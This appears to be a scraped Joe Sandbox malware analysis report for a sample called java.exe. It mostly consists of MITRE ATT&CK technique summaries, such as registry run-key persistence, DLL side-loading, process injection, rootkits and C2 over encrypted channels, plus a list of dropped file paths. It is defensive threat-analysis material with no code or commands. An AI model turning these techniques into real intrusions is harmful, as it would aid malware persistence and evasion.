Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report java.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db-wal

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XIYR6UZ0\www.bing[1].xml

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\0.0.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\0.1.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\0.2.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\Apps.ft

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\Apps.index

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133474217072615071.txt (copy)

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133474217072615071.txt.~tmp

C:\Users\user\AppData\Roaming\E38A1E29\bin.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
java.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre